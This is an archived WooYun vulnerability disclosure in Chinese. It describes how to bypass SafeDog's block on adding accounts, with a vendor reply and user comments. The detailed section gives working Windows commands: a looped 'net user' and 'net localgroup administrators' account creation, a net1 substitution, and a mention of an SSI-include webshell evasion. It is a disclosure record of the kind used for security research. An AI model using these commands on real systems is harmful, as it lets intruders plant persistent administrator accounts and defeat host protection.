当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-037294

漏洞标题:新老版本安全狗拦截添加账户存在绕过漏洞(对抗技巧)

相关厂商:安全狗

漏洞作者: Mas

提交时间:2013-09-16 16:53

修复时间:2013-12-15 16:54

公开时间:2013-12-15 16:54

漏洞类型:权限提升

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-16: 细节已通知厂商并且等待厂商处理中
2013-09-16: 厂商已经确认,细节仅向厂商公开
2013-09-19: 细节向第三方安全合作伙伴开放
2013-11-10: 细节向核心白帽子及相关领域专家公开
2013-11-20: 细节向普通白帽子公开
2013-11-30: 细节向实习白帽子公开
2013-12-15: 细节向公众公开

简要描述:

安全狗拦截添加账户 简单突破

详细说明:

直接在命令行下使用
for /l %i in (1,1,1000) do @net user test test /add&@net localgroup administrators test /add
另存为 ad.bat 使用
for /l %%i in (1,1,1000) do @net user test test /add&@net localgroup administrators test /add
命令的意思是循环一千次执行do后面的命令add user
要说一下安全狗拦截添加用户的原理
老版本安全狗的拦截并不是真正意义上的拦截,而是每2秒钟检测一次是否有新添加的用户,如果有新用户,则删除。
所以我们直接net user test test /add 是能够成功添加用户的,只不过两秒后被安全狗删除了而已。
上面的命令是不断的重复加用户的操作,直到1000次,大概两分钟就会执行完毕自动退出{远程登录test后,无论test是否已经被删除,都不会受到影响},如果需要无限循环,将括号内的数字改为(1,0,1)即可,然后记得要手动停止
新版本安全狗直接禁用net 不过net1还是可以调用 所以直接net1 user xxx xxx 可以顺利执行

漏洞证明:

新版本安全狗禁用了net
net1照样可以执行

1.jpg

2.jpg

3.jpg

4.jpg

5.jpg

6.jpg


老版本先用<!--#include file="xxx.xxx"--> 跳转方法过安全狗webshell拦截
利用exp提升权限 但是无法添加用户 用系统权限执行for /l %i in (1,1,1000) do @net user test test /add&@net localgroup administrators test /add
只要在安全狗删除的2秒前登陆 之后账号被删了也没关系

6.5.jpg


.jpg

.jpg

8.jpg

7.jpg


登陆成功以后 看账户是没有的 因为已经被删了 但是登陆以后就是我们说了算了~

修复方案:

你懂的

版权声明:转载请注明来源 Mas@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2013-09-16 21:47

厂商回复:

该问题之前网上已经被公开过了,
4.0版本如果保护用户组全选情况下,是无法添加成功的
官方会在下个版本再做些优化
也感谢您的再次反馈
可以关注官方的应急响应中心security.safedog.cn
积分可兑换奖品

最新状态:

暂无


漏洞评价:

评论

  1. 2013-09-16 17:18 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    哎~呀~我~去~

  2. 2013-09-20 01:21 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    乌云集市跟安全狗积分商场比起来,真是业绩良心。

  3. 2013-09-20 10:04 | p.z 认证白帽子 ( 普通白帽子 | Rank:411 漏洞数:40 )

    120个严重级别的漏洞才换个air,你们是对自己的产品有多不放心?

  4. 2013-09-20 10:58 | Mas ( 实习白帽子 | Rank:42 漏洞数:15 )

    @p.z 哈哈 他们跟我说他们中秋以后会调解积分策略的

  5. 2013-10-08 09:15 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    利用什么exp提升权限?